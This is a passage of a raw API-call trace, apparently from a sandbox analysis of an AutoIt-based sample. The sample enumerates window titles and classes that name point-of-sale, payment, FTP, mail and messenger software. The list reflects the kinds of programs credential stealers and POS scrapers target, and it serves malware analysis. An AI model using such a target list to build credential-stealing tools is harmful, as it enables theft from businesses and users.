GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0137.443] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0137.443] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0137.443] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0137.444] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0137.444] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0137.444] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0137.444] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0137.444] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0137.444] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0137.444] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0137.444] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0137.445] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0137.445] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0137.445] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0137.445] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0137.445] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0137.445] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0137.446] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0137.446] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0137.446] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0137.446] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0137.446] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0137.446] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0137.446] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0137.446] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0137.446] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0137.447] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0137.447] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0137.447] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0137.447] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0137.447] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0137.447] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0137.447] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0137.447] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0137.447] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0137.448] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0137.448] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0137.448] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0137.448] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0137.448] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0137.448] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0137.448] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0137.448] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0137.448] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0137.449] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0137.449] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0137.449] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0137.449] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0137.449] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0137.449] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0137.449] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0137.450] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0137.450] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0137.450] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0137.450] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0137.450] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0137.450] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0137.450] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0137.450] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0137.450] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0137.450] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0137.451] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0137.451] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0137.451] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0137.451] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0137.451] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0137.451] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0137.451] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0137.451] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0137.451] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0137.452] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0137.452] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0137.452] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0137.452] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0137.452] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0137.452] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0137.452] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0137.452] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0137.453] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0137.453] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0137.453] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0137.453] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0137.453] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0137.453] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0137.453] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0137.453] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0137.454] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0137.454] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0137.454] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0137.454] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0137.454] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0137.454] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0137.454] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0137.454] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0137.454] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0137.454] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0137.455] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0137.455] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0137.455] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0137.455] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0137.455] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0137.455] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0137.455] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0137.455] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0137.455] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0137.456] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0137.456] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0137.456] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0137.456] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0137.456] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0137.456] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0137.456] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0137.456] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0137.456] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0137.457] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0137.457] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0137.457] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0137.457] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0137.457] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0137.457] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0137.457] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0137.457] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0137.457] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.458] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.458] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.458] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0137.458] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.458] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0137.458] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.458] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.458] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.458] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.458] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0137.459] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0137.459] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0137.459] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.459] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.459] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0137.459] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0137.459] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0137.459] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0137.459] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.459] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0137.460] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.460] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.460] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.460] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.460] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.461] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.461] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.461] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0137.461] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.461] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.461] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0137.461] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0137.461] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.461] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.461] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0137.462] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0137.462] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0137.462] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0137.462] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.462] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.462] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.462] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0137.462] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.463] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.463] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.463] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.463] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.463] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0137.463] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.463] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0137.463] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0137.463] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0137.463] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0137.464] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0137.464] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.464] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.464] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.464] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0137.464] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.464] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.464] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.465] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.465] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.465] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.465] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.465] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.465] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.465] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0137.465] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.465] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0137.466] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.466] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0137.466] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0137.466] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0137.466] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.466] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0137.466] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.466] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0137.466] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.467] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0137.467] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0137.467] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0137.467] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.467] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.467] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0137.467] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0137.467] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.468] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.468] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.468] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.468] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 